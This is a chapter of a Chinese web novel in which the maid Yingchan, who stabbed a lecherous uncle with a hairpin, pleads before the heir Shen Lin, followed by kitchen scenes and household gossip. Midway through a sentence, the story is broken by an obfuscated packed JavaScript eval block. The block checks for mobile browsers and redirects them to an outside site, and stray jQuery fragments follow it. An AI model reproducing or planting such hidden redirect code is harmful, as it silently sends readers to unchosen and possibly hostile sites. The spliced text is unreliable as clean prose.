晶莹的泪珠顺着脸颊一颗颗滚落,白日里还如桃花敷粉的面颊,而今惨淡一片。
知道沈麟嫌烦,荧蝉低头擦擦眼泪,悉心控制,虽然可怜,但并不十分狼狈。
自有一番娇花照水,顾影自怜的柔态。
她眼睫颤颤,哽咽着道:
“此事闹出去对奴婢没有半分好处,侯府名声要紧,但荧蝉从小长在大夫人身边,知道轻重,无论如何也不会想着即将此事闹出去。”
“荧蝉是大夫人送给大爷的,别说是如今跟了大爷,就是如今还待在夫人身边,荧蝉也不愿跟着四老爷。”
“此事来的突然,荧蝉也怕让侯府蒙羞,在世子回府之前,奴一直藏身在假山山洞里,若非世子回来的快,那簪子如今也扎在荧蝉自己身上了。”
“荧蝉所言,若有一处虚假,便让奴婢天打雷劈!”
四老爷是府里的主子,于公于私荧蝉都不能说些什么,就算沈勉江再混账,那也是沈麟的亲叔叔。
膝下的地砖凉的惊人,荧蝉眼眸微动,瞥了眼沈麟,他仍旧是方才那副姿态,只不过指节一下一下扣着官帽椅的扶手,隐约有些不耐烦的意思。
荧蝉低眉,心中一动,对着沈麟缓缓磕头。
咚的一声,将闭目养神的沈麟惊醒,只见少女额前红了一片,虔诚跪拜。
“说句僭越的话,荧蝉若是早有攀龙附凤的心思,早在四老爷的院里了,哪里能等到夫人将奴送到大爷这里来?”
“荧蝉虽是家生子,在得夫人教导,也读书识字,知事明理。奴婢与四老爷的事,但求世子爷给奴做主。”
泪水一滴一滴砸在地上,一个坑一个坑,渐渐连成片。
荧蝉并未抬头,额头贴着地面,凉意似乎沁进了脑袋。
她眼眶哭的发热,脑海却无比清明。
沈麟是府里的世子,这样长的时间,他总归调查出了些什么。
他当然知道这件事里她有多无辜,沈四院子里的女人多,人you不事生产,出去玩乐,连妾室的月例都要挖走,但凡是府里的家生子,就没有愿意凑到沈四跟前的。
沈麟有个致命的毛病,对待女子总是格外心软。
当初沈麟愿意收她入苍山就是因为可怜,沈四的事他也不是今日才知晓的。
他在借沈四的事试探她。
“到还有些烈性。”
窗外竹影哗哗晃动,她哭的无声无息,可肩膀总忍不住颤抖。从披风下露出的手指冻得发白。
事关重大,荧蝉反而没有如常人那般,仗着此时只有他们两人,做些拉拉扯扯的事。
可沈麟就是知道,她在装,如当初带她回来时那样,总用那双可怜到极致的眼睛骗人。
沈四不是好东西,荧蝉用簪子特意在沈四的皮肉里转了一圈,伤口看似只有一个洞,其实一块肉都伤了。
这可不是她说的轻轻刺了一下。
“凶器呢?”
沈麟没有生气,也没觉得麻烦,他只是没想到荧蝉竟然在那样的情况下还能逃脱。
他也想知道,荧蝉到底用了多大力气,才将挽发的簪子刺进一个壮年男子的肩中。
泪眼婆娑的荧蝉缓缓从头上拔下一根银簪,带着怯意送到沈麟面前
一根二指长的银簪,粗细适中,尾端被人特意打磨过,比寻常簪子尾端更为尖锐,以此伤人,也能见见血
沈麟眼里闪过明晃晃的不屑,荧蝉一见,心里就安了。
沈四虽然是沈麟四叔,但宛如攀附在侯府这颗大树上的毒瘤,能被一根银簪和一个十几岁的婢女伤到,简直是这等军功起家的侯门耻辱。
沈麟伸手掂掂银簪,旋即突兀的嗤了一声,吩咐道:
“回去吧。”
“这样的东西,往后不要在苍山院出现。”
沈麟的声音越飘越远,荧蝉在原地坐了一会儿,抬头就看见天上无云,满天繁星皓月。
正堂里空无一人,沈麟去了里间休息,她小心翼翼的回到自己的屋子。
直到木门吱呀一声彻底关上,荧蝉才彻底无声笑了出来。
有了沈麟那句话,沈四的事,便不会掀起多少风浪。
沈四做的事不光彩,沈麟一开始的怒意,也不是对着她去的。
他厌恶沈四,也看不起沈四。
沈麟这样洁身自好的少年将军,在战场上杀人如杀鸡,他在为侯府拼前程拼命,家里的叔叔有着一院子姬妾,还想奸污家中婢女……
她要是沈麟,她今晚就得想办法给沈四一个教训。
人逢喜事精神爽,只不过昨儿药劲大,晚上有吹了风,荧蝉清早起来给沈麟备饭时忍不住咳嗽。
一到大厨房,荧蝉就从水缸里挑了条大青鱼。
“今日身上不爽利,劳烦妈妈帮我搭把手,等我病好了,给妈妈做零嘴吃。”
刘妈妈哪里愿意得罪荧蝉,自己抢了鱼去剁尾巴放血。
荧蝉便另外去边上拿了块嫩豆腐过水。
从大锅里分了一瓦罐浓鸡汤到边上小灶里熬煮。
小丫鬟帮她拆了一碗虾仁,荧蝉将笋丁和虾仁一起切吧切吧拌在一处,手脚麻利的包出来一盘子笋丁虾仁鲜猪肉馄饨。
刘妈妈帮着荧蝉把方才挂在边上放血的大青鱼捞起来,去鳞去骨,鱼肉切碎,一边用扁锤将鱼肉捶打成鱼泥,一边扭过头来夸荧蝉起得早。
“荧蝉姑娘真是心灵手巧,这一顿早饭又是鸡又是鱼的,可是用心!”
荧蝉常来大厨房,自顾自垫了一块大厨房蒸出来沙糕,跟刘妈妈调笑两句,手上又腌了一碗生猪肉片。
跟昨日一样,备的干食是酱炒梅花肉配发面炕饼,水食是虾仁馄饨并鸡汤滚鱼圆,另外配了一碗芙蓉豆腐。
“多的鱼圆妈妈自行处置,今日劳烦妈妈了。”
“哪儿的话?姑娘去了苍山院,还跟我生分了?”刘妈妈不依不饶,给荧蝉安排了个小丫鬟跟着一道提食盒。
沈麟今日照旧将早食用完,今日炕饼弄得多,足足备了四个。
芙蓉豆腐和炕饼留给墨影,剩下的都进了沈麟的肚子。
“四老爷那儿怎么说?”
墨影将视线从院子里收回来,悉心禀报:“昨日进四老爷院子时,他嘴里还在骂着什么,说要寻大夫人要个说
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268684|182204||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
法。”
“后面奴才将东西放到四老爷面前,他便不说话了。”
沈麟不用猜都晓得不止这些。沈四要是有这么好的性子,哪里有那么多人不待见他。
“替他遮掩什么?”
墨影嘿嘿两声,意思不言而喻。
“奴才皮糙肉厚,挨两句骂不要紧,只是四老爷当时口口声声要去寻大夫人要个说法,他院子里那些人也都听见了。”
当啷一声,沈麟用完小馄饨,将调羹丢回碗里,眸色微沉。
荧蝉是正经在存波堂过了明路给他的,虽然他没有收用,但谁都知道她不单单是个厨娘。
沈四这样打他的脸,要么是觉得血缘大过天,他会自己吃闷亏,要么……
就是蠢得色胆包天。
映禾小心伺候着沈麟漱口净手,迅速退至一边。
“不必他去,此事我会告知父亲。”
沈四说到底是他叔叔,无论色胆包天,还是真蠢,都有人收拾他。
沈麟出了门带着人出门,墨影将梅肉夹在炕饼里,油纸一包快速揣进怀里,快速追上前面走的沈麟,心里还想着,真是见了鬼了,这大夫人院里的荧蝉,怎么手艺好的跟在饭菜里下了药似的。
天天就馋着这一口!
·
沈麟晌午不回来,荧蝉蒸了一笼八珍糕放在正堂,便自己去休息了。
刚坐下准备拆了辫子歇会儿,就有人邦邦邦的敲门。
“荧蝉姐姐,大夫人院儿里有人找!”
“哎!就来!”
一出门,就看到门口树底下俏生生站着的海棠,
“咱们荧蝉也是日子好起来了,见一面都要找人喊了。”
荧蝉好笑的拧了一把海棠腰上的肉,问她:“怎么?大夫人院里不忙?赶着这会儿来找我玩?”
海棠吊着眼儿啧啧两声,看看荧蝉的辫子,忍不住戳她:“怎么回事?来了两天,到现在也没成事?”
海棠意有所指的冲着荧蝉身后的辫子努努嘴,荧蝉故作害羞,身子一拱,差点将海棠拱翻。
“你看!你又急!刚听的消息我可不告诉你了!”
海棠佯装要走,被荧蝉拉住拽了回去:“好姐姐,你最疼我,有什么新鲜事儿呢?”
海棠左右瞧了瞧,将人拉到树后。
“这事儿我告诉你,你可嘴巴大说出去。”
“四老爷,让家主亲自动了家法了!”
荧蝉诧异的“啊”了一声,心思活泛:“这是怎么回事?”
海棠满脸幸灾乐祸:“这个不晓得,是晌午家主来了一趟存波堂,大夫人让人给四老爷送了金疮药,回来的小丫鬟跟我说,四老爷那院子都叫人封起来了,寻常不让出门。”
“这要不是家法,哪能又是金疮药又是禁足的?再说,往日给这些个主子送东西,不都是咱们几个大的跑腿?今儿夫人特意喊了个扫地的小丫鬟去,真是一点脸子都不给四老爷留了。”
荧蝉脸上的笑分外真诚,笑出一排贝齿。海棠也高兴,她们这些大丫鬟都苦沈四老爷久矣!
他挨一顿打,她们光乐都能乐上半年。